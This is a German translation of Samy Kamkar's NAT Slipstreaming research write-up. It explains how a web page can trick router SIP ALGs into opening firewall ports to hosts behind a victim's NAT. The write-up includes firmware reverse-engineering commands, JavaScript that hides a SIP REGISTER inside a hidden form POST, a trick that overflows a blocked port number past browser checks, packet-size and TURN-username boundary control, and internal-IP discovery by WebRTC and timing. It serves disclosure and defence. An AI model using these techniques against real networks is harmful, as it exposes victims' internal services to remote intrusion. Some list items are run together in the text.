
NAT Slipstreaming ermöglicht es einem Angreifer, aus der Ferne auf beliebige TCP/UDP-Dienste zuzugreifen, die an einem Opferrechner gebunden sind, und dabei die NAT/Firewall des Opfers zu umgehen – und das nur, indem jemand im Netzwerk des Opfers eine Website besucht.
NAT Slipstreaming ermöglicht es einem Angreifer, aus der Ferne auf jeden TCP/UDP-Dienst zuzugreifen, der an ein beliebiges System hinter dem NAT des Opfers gebunden ist, wobei das NAT/die Firewall des Opfers umgangen wird (ferne willkürliche Firewall-Portsteuerung), allein dadurch, dass das Opfer eine Website besucht.
v1 entwickelt von: @SamyKamkar // https://samy.pl
v2 entwickelt von: Samy Kamkar && (Ben Seri && Gregory Vishnipolsky von Armis).
Lest Ben & Gregory's exzellenten technischen Beitrag über v2 hier, der tief in ihre Aktualisierungen von v2 eintaucht und viele weitere Details bietet.
v1 veröffentlicht: 31. Oktober 👻, 2020
v2 veröffentlicht: 26. Januar 2021
Source code: https://github.com/samyk/slipstream
animierte Version hier generiert mit meinem Fork von draw.io, was exportierbaren Kantenkontextfluss und -steuerung in Animationen ermöglicht
NAT Slipstreaming nutzt den Browser des Benutzers in Verbindung mit dem in NATs, Routern und Firewalls integrierten Application Level Gateway (ALG) Verbindungsverfolgungsmechanismus aus, indem es die interne IP-Extraktion per Timing-Angriff oder WebRTC, automatisierte entfernte MTU- und IP-Fragmentierungserkennung, TCP-Paketgrößenanpassung, TURN-Authentifizierungsmissbrauch, präzise Paketgrenzenkontrolle und Protokollverwirrung durch Browser-Missbrauch miteinander verknüpft. Da das NAT oder die Firewall den Zielport öffnet, werden dadurch alle browserbasierten Portbeschränkungen umgangen.
Dieser Angriff nutzt die willkürliche Kontrolle des Datenteils einiger TCP- und UDP-Pakete ohne Einbeziehung von HTTP- oder anderen Headern; der Angriff führt diese neue Paketinjektionstechnik in allen gängigen modernen (und älteren) Browsern durch und ist eine modernisierte Version meiner ursprünglichen NAT-Pinning-Technik von 2010 (vorgestellt auf der DEFCON 18 + Black Hat 2010). Darüber hinaus sind neue Techniken zur Erkennung lokaler IP-Adressen enthalten.
Dieser Angriff erfordert, dass das NAT/die Firewall ALG (Application Level Gateways) unterstützt, die für Protokolle, die mehrere Ports verwenden können (Steuerkanal + Datenkanal) wie SIP und H323 (VoIP-Protokolle), FTP, IRC DCC usw., obligatorisch sind.
Auf hoher Ebene funktioniert NAT Slipstreaming wie folgt:
.local mDNS/Bonjour-Adresse wird für den Angriff nicht nützlich sein)img-Tags zu allen gängigen Gateways (z.B. 192.168.0.1) werden im Hintergrund geladenonerror/onsuccess-Ereignisse werden an img-Tags angehängtWir verwenden NATs (Network Address Translation) aus mehreren Gründen. Das nützlichste Merkmal von NAT ist, dass es einer einzelnen öffentlichen IP-Adresse ermöglicht, von mehreren Systemen gemeinsam genutzt zu werden. Dies geschieht durch die Erstellung eines lokalen Netzwerks, das allen angeschlossenen Maschinen lokale IP-Adressen zur Verfügung stellt, und wenn eines dieser Systeme eine Verbindung zum Internet herstellt, werden die ausgehenden Pakete umgeschrieben, um die öffentliche IP zu verwenden, sodass Antworten zum NAT zurückkommen, und umgekehrt wird die Ziel-IP in die spezifische Client-IP umgeschrieben.
Es liegt in der Verantwortung des NAT, Verbindungen zu denselben Adressen/Ports (google.com:443) von verschiedenen internen Hosts zu unterscheiden, da letztendlich ihr ausgehender Port, die Ziel-IP und die Quell-IP alle gleich sind. Wenn zwei verschiedene interne Peers versuchen, vom selben Quellport aus eine Verbindung herzustellen, werden moderne NATs einen der Quellports ändern (manche Netzwerke tun dies bei allen TCP/UDP-Quellports).

Von Wikipedia ala Wikiwand:``` One of the important features built on top of the Netfilter framework is connection tracking. Connection tracking allows the kernel to keep track of all logical network connections or sessions, and thereby relate all of the packets which may make up that connection. NAT relies on this information to translate all related packets in the same way, and iptables can use this information to act as a stateful firewall.
Wenn ein Gerät hinter Ihrem NAT ein Paket nach außen sendet und Ihr Router erwartet, dass der entfernte Host antworten könnte, speichert er Informationen, insbesondere Quell- und Zielports, Quell- und Ziel-IP-Adressen sowie Ihre interne IP, und leitet dann alle passenden Pakete zurück an Ihre interne IP.
Wenn ein anderer Host in Ihrem LAN versucht, dieselbe Verbindung mit denselben Quell- und Zielports + IPs herzustellen, könnte Ihr NAT nicht unterscheiden (die Quell-IPs in Ihrem LAN sind unterschiedlich, werden aber auf der WAN-Seite auf dieselbe öffentliche IP umgeschrieben), also ändert es den Quellport, schreibt ihn jedoch beim Zurücksenden an Sie zurück.
### Gateway auf Anwendungsebene
ALGs erlauben NAT, ein Multiport-Protokoll wie FTP zu verfolgen, das von Ihrem System zu einem FTP-Server ausgeht, und dann zu verfolgen, wenn Sie eine Datei anfordern, die an Ihre interne IP auf einem bestimmten Port gesendet werden soll. Das ALG kann das Paket so umschreiben, dass es Ihre öffentliche IP enthält, und dann die Verbindung des FTP-Servers zurück zu Ihnen weiterleiten. Hätte es Ihre IP nicht umgeschrieben, würde der FTP-Server versuchen, sich über Ihre interne IP mit Ihnen zu verbinden (oder gar nicht erst versuchen, wenn er erwartet, dass die Quell-IP mit der Signalisierungsverbindung übereinstimmt).
Von [Wikipedia](https://www.wikiwand.com/en/Application-level_gateway):```
In the context of computer networking, an application-level
gateway consists of a security component that augments a
firewall or NAT employed in a computer network. It allows
customized NAT traversal filters to be plugged into the
gateway to support address and port translation for certain
application layer "control/data" protocols such as FTP,
BitTorrent, SIP, RTSP, file transfer in IM applications, etc.
In order for these protocols to work through NAT or a
firewall, either the application has to know about an address/
port number combination that allows incoming packets, or the
NAT has to monitor the control traffic and open up port
mappings (firewall pinhole) dynamically as required.
Legitimate application data can thus be passed through the
security checks of the firewall or NAT that would have
otherwise restricted the traffic for not meeting its limited
filter criteria.
Ich möchte zunächst sehen, wie gängige Gateways tatsächlich Pakete und Multi-Port-Protokolle wie FTP, SIP usw. behandeln. Dazu wollen wir die Firmware gängiger Router einem Reverse Engineering unterziehen. Wir könnten den Flash-Speicher von physischen Routern auslesen, aber wenn wir unverschlüsselte Firmware von den Herstellern bekommen, können wir mehr Router-Modelle und das viel schneller untersuchen.
Wir beginnen mit einem gängigen Router, dem Netgear Nighthawk R7000. Eine Schnellsuche hilft uns, einen Netgear-Artikel mit aktueller Firmware zu finden. Sobald wir die Firmware heruntergeladen und entpackt haben, finden wir eine 30 MB große Datei namens R7000-V1.0.9.64_10.2.64.chk.```sh tigerblood:~c/ng$ wget http://www.downloads.netgear.com/files/GDC/R7000/R7000-V1.0.9.64_10.2.64.zip --2019-05-19 19:21:13-- http://www.downloads.netgear.com/files/GDC/R7000/R7000-V1.0.9.64_10.2.64.zip Resolving www.downloads.netgear.com (www.downloads.netgear.com)... 104.69.65.243 Connecting to www.downloads.netgear.com (www.downloads.netgear.com)|104.69.65.243|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 31705064 (30M) [application/zip] Saving to: ‘R7000-V1.0.9.64_10.2.64.zip’
R7000-V1.0.9.64_10.2.64.zip 100%[=============================================>] 30.24M 6.25MB/s in 11s
2019-05-19 19:21:24 (2.83 MB/s) - ‘R7000-V1.0.9.64_10.2.64.zip’ saved [31705064/31705064]
tigerblood:~c/ng$ unzip R7000-V1.0.9.64_10.2.64.zip Archive: R7000-V1.0.9.64_10.2.64.zip extracting: R7000-V1.0.9.64_10.2.64.chk inflating: R7000-V1.0.9.64_10.2.64_Release_Notes.html tigerblood:~c/ng$ file R7000-V1.0.9.64_10.2.64.chk R7000-V1.0.9.64_10.2.64.chk: data tigerblood:~c/ng$ ls -lh R7000-V1.0.9.64_10.2.64.chk -rw-r--r-- 1 samy staff 30M Mar 26 11:46 R7000-V1.0.9.64_10.2.64.chk

Der Befehl `file` erkennt keine [magischen Informationen](https://www.wikiwand.com/en/Magic_number_(programming)), also können wir [`binwalk`](https://github.com/ReFirmLabs/binwalk) verwenden, um die Datei auf verschachtelte Daten zu scannen.```sh
tigerblood:~c/ng$ binwalk R7000-V1.0.9.64_10.2.64.chk
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
58 0x3A TRX firmware header, little endian, image size: 31703040 bytes, CRC32: 0xBEF1BB2F, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x21E3F0, rootfs offset: 0x0
86 0x56 LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 5436416 bytes
2221098 0x21E42A Squashfs filesystem, little endian, version 4.0, compression:xz, size: 29475437 bytes, 1988 inodes, blocksize: 131072 bytes, created: 2018-12-26 04:15:38

Ich verwende macOS und binwalk ist standardmäßig von einigen Linux-Apps abhängig, was dazu führen würde, dass binwalk -e (das Dateien extrahiert) fehlschlägt, also extrahiere ich manuell (und ich <3 Perl Golf).```sh
tigerblood:~c/ng$ perl -ne'$@.=$_}{print+substr$@,2221098' R7000-V1.0.9.64_10.2.64.chk > squash.fs
Oder verwenden Sie [`inout`](https://github.com/samyk/samytools/blob/master/inout), z.B. `inout R7000-V1.0.9.64_10.2.64.chk 2221098`.
Sie könnten `dd` verwenden, aber Sie würden eine große `bs` (Blockgröße) wünschen, damit es schnell ausgibt, z.B. 1024, jedoch würde das `skip`-Attribut (um ihm mitzuteilen, am Ort des squashfs blob zu beginnen) die Blockgröße respektieren und 2221098 ist in meinem Kopf offensichtlich nicht durch etwas anderes als 2 schnell teilbar...jetzt bin ich neugierig.```sh
tigerblood:~c/ng$ time dd if=R7000-V1.0.9.64_10.2.64.chk skip=$((2221098/2)) bs=2 of=squash.fs2
14741000+0 records in
14741000+0 records out
29482000 bytes transferred in 78.363403 secs (376222 bytes/sec)
real 1m18.385s
user 0m12.553s
sys 1m4.451s
Packen wir nun das Squash-Dateisystem aus. Ich habe einen Fork eines Forks von squashfs-tools erstellt, der auf macOS läuft und lzo-Unterstützung bietet. Möglicherweise müssen Sie auch xz und lzo installieren. Alternativ könnten Sie sasquatch unter Linux verwenden.```sh
tigerblood:~c/ng$ sudo port install xz lzo
...
tigerblood:~c/ng$ git clone https://github.com/samyk/squashfs-tools && cd squashfs-tools/squashfs-tools && make && sudo make install && cd ../..
Und schließlich können wir das squash fs entpacken.```sh
tigerblood:~c/ng$ unsquashfs -l -no squash.fs
Parallel unsquashfs: Using 8 processors
1881 inodes (2535 blocks) to write
squashfs-root
squashfs-root/bin
squashfs-root/bin/addgroup
... (many more files) ...
tigerblood:~c/ng$ cd squashfs-root && ls
bin data dev etc lib media mnt opt proc sbin share sys tmp usr var www
Wir haben jetzt das rohe Betriebssystem zu erkunden!
Nun schauen wir mal, ob wir Dateien finden, die für FTP relevant sind, da es ein stark genutztes Protokoll war und ALG-Unterstützung daher in Routern weit verbreitet sein wird. Ich benutze mein g tool, welches nur ein praktischer Wrapper um egrep ist.```sh
tigerblood:~c/ng/squashfs-root$ find . | g ftp
./usr/bin/tftp
./usr/sbin/bftpd
./usr/sbin/ftp
./usr/sbin/ftpc
./usr/etc/sftp-ssh.service
Nichts Interessantes, also suchen wir mit `g` nach Binärdateien, deren Inhalt /ftp/ entspricht, wobei wir einige Dateien ignorieren, die uns nicht interessieren.```sh
tigerblood:~c/ng/squashfs-root$ g -la ftp -v '\.(html?|js|gif)$|www/|bin/'
lib/libsmbd-base-samba4.so
lib/libavformat.so.55
lib/libavutil.so.52
lib/libavcodec.so.55
lib/modules/tdts.ko
lib/modules/2.6.36.4brcmarm+/kernel/lib/br_dns_hijack.ko
lib/libcrypto.so.1.0.0
opt/xagent/certs/ca-bundle-mega.crt
usr/etc/sftp-ssh.service
usr/lib/libnvram.so
usr/lib/libcurl.a
usr/lib/libcurl.so.4.3.0
usr/lib/libcurl.so
usr/share/avahi/service-types
usr/share/libcrypto.so.1.0.0
g durchsucht standardmäßig rekursiv das aktuelle Arbeitsverzeichnis. -l dient dazu, nur Dateinamen auszugeben (da diese meist binär sein werden), -a zum Scannen von Binärdateien, ftp für den zu suchenden Text, und -v '\.(html?|js|gif)$|www/|bin/', um Webdateien und ausführbare Dateien zu ignorieren (die sich in (s)bin/ befinden).
Alle lib/lib*.{a,so}{.*,} (bash-Format) Dateien sind uninteressant, also scannen wir erneut mit weniger:```sh
tigerblood:~c/ng/squashfs-root$ g -la ftp -v '.(html?|js|gif)$|www/|bin/|lib.*.(so|a)(.|$)'
lib/modules/tdts.ko
lib/modules/2.6.36.4brcmarm+/kernel/lib/br_dns_hijack.ko
opt/xagent/certs/ca-bundle-mega.crt
usr/etc/sftp-ssh.service
usr/share/avahi/service-types
### Untersuchung potenziell nützlicher Funktionen
Okay, zwei interessante Dateien – `lib/modules/tdts.ko` könnte relevant sein, und `lib/modules/2.6.36.4brcmarm+/kernel/lib/br_dns_hijack.ko` ist wahrscheinlich nicht relevant, klingt aber interessant! Werde das später vielleicht untersuchen.```sh
tigerblood:~c/ng/squashfs-root$ file lib/modules/tdts.ko
lib/modules/tdts.ko: ELF 32-bit LSB relocatable, ARM, EABI5 version 1 (SYSV), BuildID[sha1]=0aa35748e245e60273ceb5a48641e424d069235b, not stripped
tigerblood:~c/ng/squashfs-root$ strings lib/modules/tdts.ko | g ftp
ftp_decoder_open
ftp_decoder_close
ftp_decode_epsv_resp
ftp_decode_eprt_cmd
ftp_decode_pasv_resp
ftp_decode
ftp_decode_port_cmd
ftp_decoder
check_ftp_ft_rule
Schön! Ein Kernel-Objekt (.ko) mit FTP-Funktionen, und mit Wörtern wie "port", ist es wahrscheinlich mit einem FTP-ALG verwandt. Das FTP RFC 959 erklärt die Bedeutung des PORT-Befehls:```
DATA PORT (PORT)
The argument is a HOST-PORT specification for the data port to be used in data connection. There are defaults for both the user and server data ports, and under normal circumstances this command and its reply are not needed. If this command is used, the argument is the concatenation of a 32-bit internet host address and a 16-bit TCP port address. This address information is broken into 8-bit fields and the value of each field is transmitted as a decimal number (in character string representation). The fields are separated by commas. A port command would be: PORT h1,h2,h3,h4,p1,p2 where h1 is the high order 8 bits of the internet host address.
### Zu untersuchende Ports / Dienste
Während wir einige FTP-Funktionen gefunden haben, interessieren wir uns mehr für Ports, die wir nutzen können. Moderne Browser verhindern ausgehende HTTP(S)-Verbindungen zu einer Reihe von [eingeschränkten Ports](https://github.com/samyk/chromium/blob/2d57e5b8afc6d01b344a8d95d3470d46b35845c5/net/base/port_util.cc#L20-L90), einschließlich FTP, daher ist der Missbrauch des FTP-ALG wahrscheinlich nicht möglich.
Im Jahr 2010, als ich [NAT Pinning zum ersten Mal demonstrierte](https://samy.pl/natpin/), verwendete ich Port 6667 (IRC) über die DCC CHAT/FILE-Nachrichten. Schnell blockierten Browseranbieter Port 6667...obwohl einige eine uint32 (32-Bit unsigned integer) verwendeten, um den Port zu speichern, prüften, ob der Port blockiert war, und falls nicht, eine Verbindung herstellten. Um dies zu umgehen, ist es wichtig zu beachten, dass TCP-Ports 16 Bit lang sind. Wenn man also 2**16 (65536) zum gewählten „eingeschränkten“ Port addiert, in diesem Fall 65536+6667=72203, würde der Browser 72203 speichern, die Portbeschränkung passieren (72203 != 6667) und dann an den TCP-Stack gesendet werden, wo er auf 16 Bit gekürzt wird – genau der gewünschte eingeschränkte Port!
Mein einfacher [`base calculator, 3`](https://github.com/samyk/samytools/blob/master/3) zeigt dies (db = dec -> bin):```sh
tigerblood:/Users/samy/d$ 3 db 65536 6667 65536+6667
000000010000000000000000
000000000001101000001011
000000010001101000001011
Wir können es besser mit meinem Tool diffbits sehen, einem einfachen Tool zum Anzeigen von Ähnlichkeiten und Unterschieden zwischen Bitstrings sowie zwischen mehreren Gruppen von Bitstrings, nützlich zum Reversen proprietärer, binärer Protokolle.

Los geht's: Öffnen Sie Ihren Disassembler der Wahl. Ich habe Ghidra von unseren Freunden bei der NSA verwendet, da es kostenlos und Open Source ist.
Einige der Funktionen, die wir in tdts.ko mittels strings gesehen haben, waren ftp_decode und ftp_decoder, daher ist es möglich, dass andere ALGs eine _decode-Funktion haben. Schauen wir mal...

Gut, eine Reihe von _decode-Funktionen... beim Scrollen fällt sip_decode auf.

Überprüfen wir unsere eingeschränkten Browser-Ports: Port 5060, der Standard-SIP-Port, ist in Chrome nicht eingeschränkt :)
SIP läuft über TCP/UDP 5060, aber Medien wie RTP (Audio) werden über alternative Ports gesendet, die spontan generiert werden. Wenn Sie eine Anfrage für einen SIP-Anruf senden, wählt Ihr SIP-Client einen zufälligen Port aus, öffnet ihn und fügt ihn in den SIP-Header ein. Ihr NAT sollte dies ebenfalls sehen und den Port öffnen, vorausgesetzt, das SIP-ALG ist aktiviert (was bei den meisten Routern standardmäßig der Fall ist).
Angenommen, NATs lesen SIP-Pakete zeilenweise (SIP ist zeilenbasiert wie HTTP und kein binäres Protokoll), dann ignoriert es möglicherweise den HTTP-Header, und sobald es zu den POST-Daten gelangt, liest es das REGISTER und glaubt, es sei ein SIP-Paket. Dies funktionierte in unserer Version von 2010 für den IRC-DCC. Das NAT ignorierte den HTTP-Header und parste einfach den IRC-DCC-Befehl.
Lustig: Dies erlaubte uns auch, Benutzer, die unsere Seite besuchten, tatsächlich mit einem legitimen IRC-Server verbinden zu lassen, einem Channel beizutreten und von ihrer IP aus eine Nachricht zu senden, ohne dass sie es wussten! :P Ich habe diese Technik zum Senden von E-Mails an Mailserver mit Client-IP-Adressen demonstriert, bevor Port 25 von Browsern blockiert wurde und bevor SPF-Einträge üblich waren … verrückt.
Nun scheint in einem schnellen Test das Senden eines SIP-REGISTER-Pakets über Port 5060 mittels eines HTTP-POST nicht zu funktionieren … vielleicht fehlt uns etwas im Paket.```javascript // our sip message var sipmsg = 'REGISTER sip:samy.pl;transport=TCP SIP/2.0\r\n' + 'Contact: sip:[email protected]:1234;transport=TCP\r\n\r\n'
// load form in an iframe so user doesn't see it var iframe = document.createElement('iframe') iframe.name = 'iframe' iframe.style.display = 'none' // hide the iframe
// create form var form = document.createElement('form') form.setAttribute('target', 'iframe') // load into iframe form.setAttribute('method', 'POST') // need the POST area where we can add CRLFs form.setAttribute('action', 'http://samy.pl:5060') // "http" server on SIP port 5060 form.setAttribute('enctype', 'multipart/form-data') // ensure our data doesn't get encoded
var textarea = document.createElement('textarea') textarea.setAttribute('name', 'textname') // required textarea.innerHTML = sipmsg form.appendChild(textarea) document.body.appendChild(iframe) document.body.appendChild(form) form.submit()
Wenn wir sniffen, sehen wir (geparst via [`h2b`](https://github.com/samyk/samytools/blob/master/h2b)):```sh
$ unbuffer tcpdump -X port 5060 | h2b
POST / HTTP/1.1
Host: samy.pl:5060
Connection: keep-alive
Content-Length: 191
Cache-Control: max-age=0
Origin: http://samy.pl
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryhcoAd2iSAx3TJA7A
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.66 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://samy.pl/o/sp.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
------WebKitFormBoundaryhcoAd2iSAx3TJA7A
Content-Disposition: form-data; name="textname"
REGISTER sip:samy.pl;transport=TCP SIP/2.0
Contact: <sip:[email protected]:1234;transport=TCP>
------WebKitFormBoundaryhcoAd2iSAx3TJA7A--
Allerdings öffnet dies den Port nicht, noch wird die IP umgeschrieben, was wir erwarten würden (mehr dazu später), also müssen wir etwas übersehen.
Lassen wir uns weiter im Kernel-Objekt umsehen. In der Disassembly sehen wir das „SIP/2.0“-Tag eines SIP-Pakets, also wird hier wahrscheinlich geparst (was nach „decode“ klingt).

Ah, daran scheitern wir. Es scheint, dass es strncasecmp auf INVITE ausführt (ähnliches Parsen bei REGISTER) – es vergleicht (Groß-/Kleinschreibung ignorierend, was interessant ist, da SIP-INVITEs großgeschrieben sind) das Wort „INVITE“ am Anfang des Pakets und branched, wenn nicht equal (ARM-Assembly bne) zu 0, also wenn die Wörter übereinstimmen, ist die lexikografische Ordnung 0 und wir fahren mit ct_sip_get_header fort, was spaßig klingt, andernfalls scheint es abzubrechen.
Das ist das Problem... Während wir einen Webbrowser verwenden können, um ausgehende Sockets zu erzeugen (TCP über HTTP(S), UDP über TURN mit WebRTC), haben wir nicht genug Kontrolle über den Browser, um den TCP-Datenteil mit dem Wort „INVITE“ zu beginnen, was dieses Modul erwartet. In der 2010 IRC-Version hat der IRC-ALG nur zeilenweise gesucht, alle HTTP-Header-Daten ignoriert und dann Zeilenumbrüche in den POST-Daten verwendet, um ein gültiges „IRC DCC“ zu senden. Dieser SIP-ALG ist jedoch viel strenger und die Kontrolle über den Anfang der Anfrage ist nicht möglich. Bei Verwendung von TLS beginnt das Paket mit einem verschlüsselten Header. Bei HTTP beginnt das Paket mit der HTTP-Methode (GET, POST, etc.). Können wir dies auf andere Weise ausnutzen?
Um Connection Tracking und Application Level Gateways besser zu verstehen, können wir uns ansehen, wie sie sich in netfilter, dem Linux-Netzwerkstack verhalten. Ich habe eine Tabelle der häufigsten ALGs erstellt, die zeigt, wie sie sich basierend auf dem Parsen des Linux-Quellcodes verhalten.

Aus dieser Tabelle sind die interessantesten (die Chrome nicht blockiert) sane (Backup), sip (VoIP), pptp (VPN) und h323 (VoIP). Wir wählen SIP, da es eines der verbreiteteren dieser Protokolle ist und wir es bereits in der Firmware einiger Router sehen.
Linux hat speziell nf_conntrack_*.c-Dateien für die protokollspezifische Behandlung von Connection Tracking und nf_nat_*.c für Packet Mangling (Modifikation).
Wir werfen einen kurzen Blick auf das SIP-Connection-Tracking-Modul
module_init(nf_conntrack_sip_init) initialisiert diesen Connection Tracker, indem es nf_conntrack_sip_init aufruftnf_ct_helper_init(...AF_INET, IPPROTO_TCP, "sip", SIP_PORT...) wir erwarten, dass die Signalisierung von IPv4 AF_INET, TCP IPPROTO_TCP, Port 5060 SIP_PORT kommt...dies geschieht für UDP, TCP, IPv4 und IPv6sip_help_tcp(...) wird aufgerufen, wenn ein passendes TCP-SIP-Paket eintrifft
process_sip_msg(...) wenn dies wie ein potenzielles SIP-Paket aussieht
Soweit wir wissen, können wir den Browser nicht dazu zwingen, eine ausgehende TCP-Verbindung mit beliebigem Datenverkehr zu erzwingen, und es ist notwendig für uns, ein TCP/UDP-Paket zu erzeugen, das mit einer SIP-Methode wie REGISTER oder INVITE beginnt.
Flash erlaubte früher ausgehende Sockets, aber in einem Format, über das wir nicht die volle Kontrolle hatten. Java benötigt Berechtigungen. WebSockets sind immer noch HTTP. TLS ist verschlüsselt. WebRTC (RFC 7742) ist verschlüsselt. STUN (RFC 3489) und TURN (RFC 5766) haben feste Formate, und TURNS (RFC 7065) ist verschlüsselt.
Auf hoher Ebene können wir den Beginn des TCP-Pakets nicht kontrollieren, aber was, wenn wir ein zu großes Paket senden? Es muss eine maximale Paketgröße geben... an dem Punkt muss ein Paket in mehrere Pakete fragmentiert werden. Wenn wir die TCP-Paketgröße überlaufen lassen und einen Teil der Daten präzise kontrollieren können, könnten wir dann eine Paketsegmentierung verursachen und unsere Daten ganz am Anfang unseres nächsten, überlaufenen Pakets haben?
Nun, wir müssten wissen, wie viele Daten der Browser senden wird, was je nach Browser und sogar je nach Benutzer unterschiedlich ist, da sie unterschiedliche HTTP-Header senden können. HTTPS funktioniert nicht, da der meiste Inhalt verschlüsselt ist, während ein HTTP-POST es uns erlaubt, einen großen Teil des Headers zu kontrollieren.
Um die allgemeine Größe des Pakets zu ermitteln, senden wir ein großes (6000 Byte) HTTP-POST mit einer ID und Padding-Daten über ein verstecktes Webformular an http://our.attack.server:5060/pktsize. Auf dem Angriffsserver führen wir einen Paket-Sniffer aus, der nach den Grenzen unseres Pakets sucht, um die MTU-Größe (Maximum Transmission Unit), IP-Header-Größe, mögliche IP-Optionen, TCP-Header-Größe, mögliche TCP-Optionen, Datenpaketgröße und welchen Teil des Pakets wir kontrollieren, zu bestimmen.
Wir führen auch einen benutzerdefinierten Server aus, der auf TCP-Port 5060 lauscht und mit HTTP-Verkehr antwortet, um den Browser zu besänftigen, sodass auf Client-Seite nichts verdächtig aussieht (ein Server mit einer fehlerhaften Antwort würde Fehler in der Konsole verursachen, oder ein falsch antwortender Server würde den Status-Spinner am Laufen halten).

Wir versuchen weiter, die TCP-Paketdatengröße zu kontrollieren, indem wir während der anfänglichen SYN-Antwort eine Maximum Segment Size (mss) TCP-Option senden, um die ausgehenden Paketgrößen des Opfers zu manipulieren (RFC 793 x3.1). Dies teilt der Opfermaschine mit, TCP-Pakete auf eine bestimmte Größe zu begrenzen.

Sie können dies in Linux tun, indem Sie advmss <size> an ip route anhängen. Wir werden 1500 verwenden.```sh
ip route replace default via [gateway] dev eth0 advmss 1500
Once we get the packets, we send the size data back to the victim client over a separate POST, which sent the victim's ID so we can correlate it with the original request from the victim. At this point, the client has a good idea of how to pad packets to cause arbitrary data to land at any specific location in a TCP packet.
### IP-Fragmentierung mit UDP und TURN
Manche NATs erlauben nur dann Zugriff auf UDP-Ports, wenn die SIP-Verbindung ursprünglich über UDP lief, daher verwenden wir in diesem Fall TURN. TURN ist ein Protokoll, das Relaying für Peer-to-Peer-Kommunikation wie SIP und WebRTC unterstützt. TURN läuft über UDP, während TURNS (TURN+TLS) über TCP läuft. Moderne Browser unterstützen TURN für WebRTC, falls sie keine direkte Peer-to-Peer-Verbindung für die Medienübertragung herstellen können.
TURN erlaubt Authentifizierung über Benutzername und Passwort, wobei der Benutzername im Klartext gesendet wird. Interessanterweise ist der Benutzername weder in der Länge noch in den Zeichen eingeschränkt, sodass wir diesen Mechanismus nutzen können, um dieselbe Art von Paketüberlauf durchzuführen.
Da TURN über UDP läuft, wird das IP-Paket selbst fragmentiert, wenn es die MTU-Größe überschreitet (UDP unterstützt keine Segmentierung). Das zweite Paket enthält dann nicht nur den von uns kontrollierten Datenbereich, sondern auch den UDP-Header! Dies ist für unseren Angriff nicht wichtig, aber interessant und kann durchaus zu alternativen Angriffen führen. Letztlich können wir denselben Angriff über UDP durchführen, indem wir unsere Paketgrenze basierend auf der berechneten MTU-Größe statt der MSS-Größe ausrichten, sodass unser SIP-UDP-Paket auf der zweiten Paketgrenze liegt (mit einem gefälschten UDP-Header davor). Dadurch können wir UDP-Ports zurück zu unserem Opfer weiterleiten.
## TCP-Timing-Angriff / Interne Subnetz- und IP-Erkennung
Oh, das wird trotzdem nicht funktionieren! Damit das ALG es als legitimes SIP-Paket behandelt, muss die IP-Adresse, an die Daten zurückgesendet werden sollen (in der [`Contact`](https://tools.ietf.org/html/rfc2543#section-6.13) SIP-Zeile), die interne IP (Opfer) sein, von der das SIP-Paket stammt, die wir aber nicht kennen. Nur die öffentliche IP-Adresse des Routers wird an unseren Server übertragen (da das NAT die Quell-IP beim Verlassen der öffentlichen Seite umschreibt).
Wir sehen diese Prüfung in der Linux-Datei `nf_conntrack_sip.c` in der Funktion [process\_sip\_request](https://github.com/samyk/linux/blob/ea2cec24c8d429ee6f99040e4eb6c7ad627fe777/net/netfilter/nf_conntrack_sip.c#L1260):

Im [Jahr 2010](https://samy.pl/natpin/) haben wir [LiveConnect](https://developer.mozilla.org/en-US/docs/Archive/Web/LiveConnect) verwendet, das unter bestimmten Bedingungen die Ausführung von Java-Code aus Javascript erlaubte, um die lokale IP des Benutzers zu extrahieren. Das wurde ziemlich schnell obsolet.
In einigen Browsern (Chrome, Firefox) können wir [WebRTC](https://www.w3.org/TR/webrtc/) nutzen, um die interne IP-Adresse des Opfers über [ICE](https://tools.ietf.org/html/rfc5245) (das nur STUN/TURN/TURNS verwendet) zu ermitteln. Dies sind Protokolle, die Peers hinter NATs helfen, Informationen über sich selbst zu sammeln. Ironischerweise muss bei der ICE-Anfrage kein Server verwendet werden, da der Browser seine interne IP bereits kennt und ein entfernter STUN/TURN-Server sie ohnehin nicht wüsste, es sei denn, der Client sendet sie zuerst. Das Problem ist, dass nicht alle Browser diesen Mechanismus bereitstellen.
Heutzutage erfordert die Verwendung von WebRTC zur Ermittlung der lokalen IP-Adresse in Chrome (anstelle einer `.local`-mDNS/Bonjour-Adresse) HTTPS, aber für die restlichen Angriffe ist HTTP notwendig. Daher erkennen wir zunächst, ob wir über HTTP verbunden sind, und leiten andernfalls auf HTTPS weiter. Dann versuchen wir, mit WebRTC die lokale IP-Adresse zu extrahieren. In jedem Fall leiten wir dann zurück zu HTTP, wobei die IP(s) an die URL angehängt werden, um Cross-Origin-Beschränkungen über andere Kommunikationsmethoden zu umgehen.
### Timing-Angriff
Bei Verwendung von Safari, IE <= 11 oder anderen Browsern, die WebRTC nicht unterstützen oder absichtlich keine interne IP preisgeben (Safari), können wir einen Web-Timing-Angriff nutzen, um die interne IP-Adresse des Opfers zu ermitteln.
Wir erreichen dies, indem wir zunächst versteckte HTML-``-Tags auf der Seite platzieren, die auf gängige Gateways verweisen (192.168.*.1, 10.0.0.1 und [andere](https://github.com/samyk/slipstream/blob/main/server#L159)), zusammen mit JavaScript-`onsuccess`- und `onerror`-Ereignissen. Jedes Mal, wenn ein img auf die Seite geschrieben wird, startet ein Timer. Wenn `onsuccess` ausgelöst wird, bedeutet dies, dass die IP mit einem Webserver geantwortet hat. Wenn kein Webserver läuft, die IP aber im Netzwerk vorhanden ist, wird ein TCP-RST (Reset, d.h. Port nicht offen) zurückgesendet, was das `onerror`-Ereignis auslöst. Wenn keine IP existiert, wird kein RST gesendet und die Antwort dauert länger als 1 Sekunde. Dann wissen wir, dass die IP in unserem Netzwerk nicht vorhanden ist.
